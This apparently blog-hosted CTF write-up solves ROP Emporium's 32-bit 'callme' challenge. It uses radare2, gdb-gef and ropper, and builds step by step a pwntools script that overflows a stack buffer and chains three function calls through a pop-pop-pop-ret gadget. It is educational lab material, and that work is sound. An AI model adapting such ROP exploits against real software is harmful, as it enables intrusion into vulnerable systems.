Last time we looked at ropemporium's second 32-bit challenge, split. This time we're going to look at the third challenge, callme (maybe).
This challenge is a step up from the previous two as we're told we have to call three different functions in oder (callme_one()
, callme_two()
and callme_three()
) each with the arguments 1,2,3
to decrypt the flag. The binary comes with an encrypted_flag.txt and a couple of Key.dat files, presumably used by the functions to decrypt the flag, in addition to a libcallme32.so library.
First off, let's run it:
callme by ROP Emporium
32bits
Hope you read the instructions...
> test
Exiting
Seems straightforward enough...
Let's take a look a the binary in radare2.
Binary Analysis
r2 callme32 -- I thought we were friends. :_ [0x08048640]> i blksz 0x0 block 0x100 fd 3 file callme32 format elf iorw false mode r-x size 0x1e68 humansz 7.6K type EXEC (Executable file) arch x86 baddr 0x8048000 binsz 6541 bintype elf bits 32 canary false sanitiz false class ELF32 crypto false endian little havecode true intrp /lib/ld-linux.so.2 lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath ./ static false stripped false subsys linux va true [0x08048640]>
As before, we get some information about the binary using i
, and then perform some analysis using aaa
, and check the function list with afl
.
[0x08048640]> afl 0x08048558 3 35 sym._init 0x08048590 1 6 sym.imp.printf 0x080485a0 1 6 sym.imp.fgets 0x080485b0 1 6 sym.imp.callme_three 0x080485c0 1 6 sym.imp.callme_one 0x080485d0 1 6 sym.imp.puts 0x080485e0 1 6 sym.imp.exit 0x080485f0 1 6 sym.imp.__libc_start_main 0x08048600 1 6 sym.imp.setvbuf 0x08048610 1 6 sym.imp.memset 0x08048620 1 6 sym.imp.callme_two 0x08048630 1 6 sub.__gmon_start_630 0x08048640 1 33 entry0 0x08048670 1 4 sym.__x86.get_pc_thunk.bx 0x08048680 4 43 sym.deregister_tm_clones 0x080486b0 4 53 sym.register_tm_clones 0x080486f0 3 30 sym.__do_global_dtors_aux 0x08048710 4 43 -> 40 entry1.init 0x0804873b 1 123 sym.main 0x080487b6 1 86 sym.pwnme 0x0804880c 1 67 sym.usefulFunction 0x08048850 4 93 sym.__libc_csu_init 0x080488b0 1 2 sym.__libc_csu_fini 0x080488b4 1 20 sym._fini [0x08048640]>
We note that the callme functions are actually imported functions (indicated by the sym.imp prefix, and confirmed using ii
to view the imports). We also see our usual usefulFunction and pwnme functions.
We can then enter Visual Mode with V
, cycle to the disassembler layout with p
and then use the flag search hud, _
, to search for our usefulFunction.
[0x0804880c 26% 220 callme32]> pd $r @ sym.usefulFunction ┌ (fcn) sym.usefulFunction 67 │ sym.usefulFunction (); │ 0x0804880c 55 push ebp │ 0x0804880d 89e5 mov ebp, esp │ 0x0804880f 83ec08 sub esp, 8 │ 0x08048812 83ec04 sub esp, 4 │ 0x08048815 6a06 push 6 ; 6 │ 0x08048817 6a05 push 5 ; 5 │ 0x08048819 6a04 push 4 ; 4 │ 0x0804881b e890fdffff call sym.imp.callme_three ;[1] │ 0x08048820 83c410 add esp, 0x10 │ 0x08048823 83ec04 sub esp, 4 │ 0x08048826 6a06 push 6 ; 6 │ 0x08048828 6a05 push 5 ; 5 │ 0x0804882a 6a04 push 4 ; 4 │ 0x0804882c e8effdffff call sym.imp.callme_two ;[2] │ 0x08048831 83c410 add esp, 0x10 │ 0x08048834 83ec04 sub esp, 4 │ 0x08048837 6a06 push 6 ; 6 │ 0x08048839 6a05 push 5 ; 5 │ 0x0804883b 6a04 push 4 ; 4 │ 0x0804883d e87efdffff call sym.imp.callme_one ;[3] │ 0x08048842 83c410 add esp, 0x10 │ 0x08048845 83ec0c sub esp, 0xc │ 0x08048848 6a01 push 1 ; 1 ; i └ 0x0804884a e891fdffff call sym.imp.exit ;[4] 0x0804884f 90 nop
We can see here that our callme functions are being invoked, but in the wrong order and with the wrong parameters compared to our information text about this challenge.
From here we can seek to the callme functions by pressing the number next to the call in the square brackets, in this case [1], [2] or [3].
We can poke around a bit more, but what we need to do appears to be clear, lets give it a go!
Exploitation
Let's create the skeleton of our pwntools script.
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
gdb_cmds = [
'b* main',
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.interactive()
Running this we get some useful information in the console and our gdb session starts. We can use gdb to print the memory address of the callme functions with the print
command.
[*] '/root/ctfs/ropemporium/32/callme/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [+] Starting local process '/usr/bin/gdbserver': pid 5812 [*] running in new terminal: /usr/bin/gdb -q "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnhVaLOg.gdb" [*] Switching to interactive mode
We note that the checksec output agrees with the information from radare, and that the none-executable stack (NX) is enabled but there is no stack canary or ASLR (PIE)..
Then in the gdb window:
Breakpoint 1, 0x0804873b in main () gef➤ print '[email protected]' $2 = {<text variable, no debug info>} 0x80485c0 <[email protected]> gef➤ print '[email protected]' $3 = {<text variable, no debug info>} 0x8048620 <[email protected]> gef➤ print '[email protected]' $4 = {<text variable, no debug info>} 0x80485b0 <[email protected]> gef➤
We can compare these to the the function list from radare, and see that they match.
Let's set up a rop chain similar to split32 where we call the first function, callme_one() with the appropriate arugments.
As we setup the binary using the pwntools ELF function we get a few extras, such as being able to resolve the function pointers using the binary.symbols, which we'll log to check they're what we expect.
#!/usr/bin/env python2 import pwn # Set the context for any pwntools magic pwn.context.arch = 'i386' # Load the binary as a pwntools ELF pwn.context.binary = binary = pwn.ELF('./callme32') # Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb pwn.context.terminal = ['byobu', 'new-window'] # Function pointers callme_one_plt = binary.symbols.plt.callme_one callme_two_plt = binary.symbols.plt.callme_two callme_three_plt = binary.symbols.plt.callme_three pwn.info("callme_one_plt: %#x", callme_one_plt) pwn.info("callme_two_plt: %#x", callme_two_plt) pwn.info("callme_three_plt: %#x", callme_three_plt) # GDB Commands gdb_cmds = [ 'b* %#x' % callme_one_plt, 'c' ] # Start debugging io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds)) io.recvuntil("> ") io.sendline("A" * 100) io.interactive()
Running this we see the PLT callme functions have the expected values:
[*] '/root/ctfs/ropemporium/32/callme/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [*] callme_one_plt: 0x80485c0 [*] callme_two_plt: 0x8048620 [*] callme_three_plt: 0x80485b0 [+] Starting local process '/usr/bin/gdbserver': pid 10188 [*] running in new terminal: /usr/bin/gdb -q "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnPXkiBV.gdb" [*] Switching to interactive mode
And that the process errors as expected:
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffe9fa70 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebx : 0x0 $ecx : 0xf7f2989c → 0x00000000 $edx : 0xffe9fa70 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $esp : 0xffe9faa0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebp : 0x41414141 ("AAAA"?) $esi : 0xf7f28000 → 0x001d5d8c $edi : 0x0 $eip : 0x41414141 ("AAAA"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $ds: 0x002b $es: 0x002b $ss: 0x002b $cs: 0x0023 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffe9faa0│+0x00: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp 0xffe9faa4│+0x04: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9faa8│+0x08: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9faac│+0x0c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fab0│+0x10: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fab4│+0x14: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fab8│+0x18: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fabc│+0x1c: "AAAAAAAAAAAAAAAAAAAAAAAA" ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x41414141 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x41414141 in ?? () gef➤
Replacing this with our cyclic string, we find the overwrite occurs with 0x6161616c, the same as the last two challenges.
Let's overwrite this with As and confirm our control.
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create dummy rop chain of As
rop = "AAAA"
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Perfect! Now all that remains is to create our rop chain.
The first thing we want to call is callme_one, so that will go at the start of the chain and will be the first thing to get executed.
When the process execution 'returns' to our callme_one address it will expect the stack to be set up. The top of the stack should contain the return address of the function, and then the function arguments as it's 32-bit.
Our stack should therefore look like:
.......................Top of stack, lower memory addresses
0x00000003
0x00000002
0x00000001
<return address>
<address of [email protected]>
0x41414141
0x41414141
0x41414141
...
......................Bottom of stack, higher memory addresses
Let's set up our rop chain then, forgetting about the return address for now and just setting it to BBBB:
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)
rop += "BBBB"
rop += pwn.p32(0x1)
rop += pwn.p32(0x2)
rop += pwn.p32(0x3)
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Running this, we break at callme_one:
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff8a6fc0 → 0x61616161 ("aaaa"?) $ebx : 0x0 $ecx : 0xf7f3b89c → 0x00000000 $edx : 0xff8a6fc0 → 0x61616161 ("aaaa"?) $esp : 0xff8a6ff0 → 0x42424242 ("BBBB"?) $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f3a000 → 0x001d5d8c $edi : 0x0 $eip : 0x80485c0 → <[email protected]+0> jmp DWORD PTR ds:0x804a018 $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $cs: 0x0023 $es: 0x002b $ss: 0x002b $gs: 0x0063 $ds: 0x002b ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff8a6ff0│+0x00: 0x42424242 ← $esp 0xff8a6ff4│+0x04: 0x00000001 0xff8a6ff8│+0x08: 0x00000002 0xff8a6ffc│+0x0c: 0x00000003 0xff8a7000│+0x10: 0xf7f3000a → 0x870c0e41 0xff8a7004│+0x14: 0xf7f3a000 → 0x001d5d8c 0xff8a7008│+0x18: 0x00000000 0xff8a700c│+0x1c: 0xf7d7d9a1 → <__libc_start_main+241> add esp, 0x10 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x80485b0 <[email protected]+0> jmp DWORD PTR ds:0x804a014 0x80485b6 <[email protected]+6> push 0x10 0x80485bb <[email protected]+11> jmp 0x8048580 → 0x80485c0 <[email protected]+0> jmp DWORD PTR ds:0x804a018 0x80485c6 <[email protected]+6> push 0x18 0x80485cb <[email protected]+11> jmp 0x8048580 0x80485d0 <[email protected]+0> jmp DWORD PTR ds:0x804a01c 0x80485d6 <[email protected]+6> push 0x20 0x80485db <[email protected]+11> jmp 0x8048580 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x80485c0 → Name: [email protected]() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x080485c0 in [email protected] () gef➤
Here we can see that we're in the callme_one function, and it looks like our stack is set up correctly! Our return address is 0x42424242 (BBBB), and our 1,2 and 3 are in the correct positions so that the function thinks they are the arguments!
If we let execution continue we see that we get a segfault when the process tries to return to our 0x42424242 address, and our arguments are still there at the top of the stack. This is problematic, as we want to redirect to our second function callme_two, but if we do then the stack is set up so that 0x00000001 would be the return address, and 0x00000002 would be the first argument and so on... so what can we do?
Rop Gadgets
Here we use what is known as a rop gadget. A gadget is any set of instructions that ends in a ret or similar command, so that we can execute those instructions and then return to our rop chain.
Here, if we can find a pop-pop-pop-ret and use that as our first return address, it will pop our three arguments off the stack and then return to the next address, which can be anything!
It doesn't matter what registers the values are getting popped into (as long as it isn't ESP or EIP of course), it just matters that they are being popped off the stack.
Let's use gdb-gef to search for gadgets. If we run gef help
we can see the gef commands, including ropper
.
We can use ropper to search for any pop-pop-pop-ret by using the % sign as a wildcard to match any string.
gef➤ ropper --search "pop %; pop %; pop %; ret"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop %; pop %; pop %; ret
[INFO] File: /root/ctfs/ropemporium/32/callme/callme32
0x080488a8: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080488aa: pop edi; pop ebp; ret;
0x080488a9: pop esi; pop edi; pop ebp; ret;
0x080488c0: pop ss; add byte ptr [eax], al; add esp, 8; pop ebx; ret;
gef➤
Perfect! We have a nice pop-pop-pop-ret at 0x080488a9, so lets make this our return address, and then just add the stack frame for callme_two immediately afterwards!
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt) # <- inital overwrite to callme_one
rop += pwn.p32(0x080488a9) # | callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1) # | callme_one arg1
rop += pwn.p32(0x2) # | callme_one arg2
rop += pwn.p32(0x3) # <` callme_one arg3
rop += pwn.p32(callme_two_plt) # <- pop-pop-pop-ret returns here
rop += "BBBB" # | callme_two return address
rop += pwn.p32(0x1) # | callme_two arg1
rop += pwn.p32(0x2) # | callme_two arg2
rop += pwn.p32(0x3) # <` callme_two arg3
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Running this we break at callme_one again, we can step through and see that we return to our pop-pop-pop-ret, which pops our inital arguments of the stack and then returns to callme_two with the correct arguments in place!
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0x0 $ebx : 0x0 $ecx : 0x15 $edx : 0x9850168 → 0x00000000 $esp : 0xff8df670 → 0x080488a9 → <__libc_csu_init+89> pop esi $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f0b000 → 0x001d5d8c $edi : 0x0 $eip : 0xf7f387cc → <callme_one+252> ret $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $ds: 0x002b $gs: 0x0063 $cs: 0x0023 $ss: 0x002b $es: 0x002b ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff8df670│+0x00: 0x080488a9 → <__libc_csu_init+89> pop esi ← $esp 0xff8df674│+0x04: 0x00000001 0xff8df678│+0x08: 0x00000002 0xff8df67c│+0x0c: 0x00000003 0xff8df680│+0x10: 0x08048620 → <[email protected]+0> jmp DWORD PTR ds:0x804a030 0xff8df684│+0x14: 0x42424242 0xff8df688│+0x18: 0x00000001 0xff8df68c│+0x1c: 0x00000002 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0xf7f387c4 <callme_one+244> std 0xf7f387c5 <callme_one+245> (bad) 0xf7f387c6 <callme_one+246> call DWORD PTR [eax-0x3603a275] → 0xf7f387cc <callme_one+252> ret ↳ 0x80488a9 <__libc_csu_init+89> pop esi 0x80488aa <__libc_csu_init+90> pop edi 0x80488ab <__libc_csu_init+91> pop ebp 0x80488ac <__libc_csu_init+92> ret 0x80488ad lea esi, [esi+0x0] 0x80488b0 <__libc_csu_fini+0> repz ret ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f387cc → Name: callme_one() [#1] 0x80488a9 → Name: __libc_csu_init() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f387cc in callme_one () from ./libcallme32.so
And once we enter callme_two:
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0x0 $ebx : 0x0 $ecx : 0x15 $edx : 0x9850168 → 0x00000000 $esp : 0xff8df684 → 0x42424242 ("BBBB"?) $ebp : 0x3 $esi : 0x1 $edi : 0x2 $eip : 0xf7f387cd → <callme_two+0> push ebp $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $ds: 0x002b $gs: 0x0063 $cs: 0x0023 $ss: 0x002b $es: 0x002b ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff8df684│+0x00: 0x42424242 ← $esp 0xff8df688│+0x04: 0x00000001 0xff8df68c│+0x08: 0x00000002 0xff8df690│+0x0c: 0x00000003 0xff8df694│+0x10: 0xff8d000a → 0x00000000 0xff8df698│+0x14: 0xff8df72c → 0xff8e065a → "LC_NUMERIC=en_GB.UTF-8" 0xff8df69c│+0x18: 0xff8df6b4 → 0x00000000 0xff8df6a0│+0x1c: 0x00000001 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0xf7f387c5 <callme_one+245> (bad) 0xf7f387c6 <callme_one+246> call DWORD PTR [eax-0x3603a275] 0xf7f387cc <callme_one+252> ret → 0xf7f387cd <callme_two+0> push ebp 0xf7f387ce <callme_two+1> mov ebp, esp 0xf7f387d0 <callme_two+3> push esi 0xf7f387d1 <callme_two+4> push ebx 0xf7f387d2 <callme_two+5> sub esp, 0x10 0xf7f387d5 <callme_two+8> call 0xf7f385a0 <__x86.get_pc_thunk.bx> ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f387cd → Name: callme_two() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f387cd in callme_two () from ./libcallme32.so
We see our BBBB return address and arguments correctly placed on the stack!
Let's do the same for callme_three and then execute the whole chain!
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
exit_plt = binary.symbols.plt.exit
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt) # <- inital overwrite to callme_one
rop += pwn.p32(0x080488a9) # | callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1) # | callme_one arg1
rop += pwn.p32(0x2) # | callme_one arg2
rop += pwn.p32(0x3) # <` callme_one arg3
rop += pwn.p32(callme_two_plt) # <- pop-pop-pop-ret returns here
rop += pwn.p32(0x080488a9) # | callme_two return address to pop-pop-pop-ret
rop += pwn.p32(0x1) # | callme_two arg1
rop += pwn.p32(0x2) # | callme_two arg2
rop += pwn.p32(0x3) # <` callme_two arg3
rop += pwn.p32(callme_three_plt) # <- pop-pop-pop-ret returns here
rop += pwn.p32(exit_plt) # | callme_three return address to exit
rop += pwn.p32(0x1) # | callme_three arg1
rop += pwn.p32(0x2) # | callme_three arg2
rop += pwn.p32(0x3) # <` callme_three arg3
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Here we also set the callme_three return address to [email protected] so that we exit the process nicely, though it's not strictly necessary as we don't really care if it errors after it prints our flag!
It all seems to be in place, let's give it a run:
[*] '/root/ctfs/ropemporium/32/callme/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [*] callme_one_plt: 0x80485c0 [*] callme_two_plt: 0x8048620 [*] callme_three_plt: 0x80485b0 [+] Starting local process '/usr/bin/gdbserver': pid 3642 [*] running in new terminal: /usr/bin/gdb -q "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwn8CbXJP.gdb" [*] Switching to interactive mode ROPE{a_placeholder_32byte_flag!} Child exited with status 0 [*] Process '/usr/bin/gdbserver' stopped with exit code 0 (pid 3646) [*] Got EOF while reading in interactive
Awesome! We got our flag!
Summary
We've pwnd callme32 by setting up our first real rop chain which calls three different functions with arguments. We've picked up a few new tricks in gdb-gef, radare2 and pwntools and really gotten to grips with the layout of a stack frame.
Next time we'll try the fourth challenge, write4, where we'll have to use gadgets to write our own values to memory and then use them to get a shell!
P.S Thanks to @PwnDexter for the awesome title!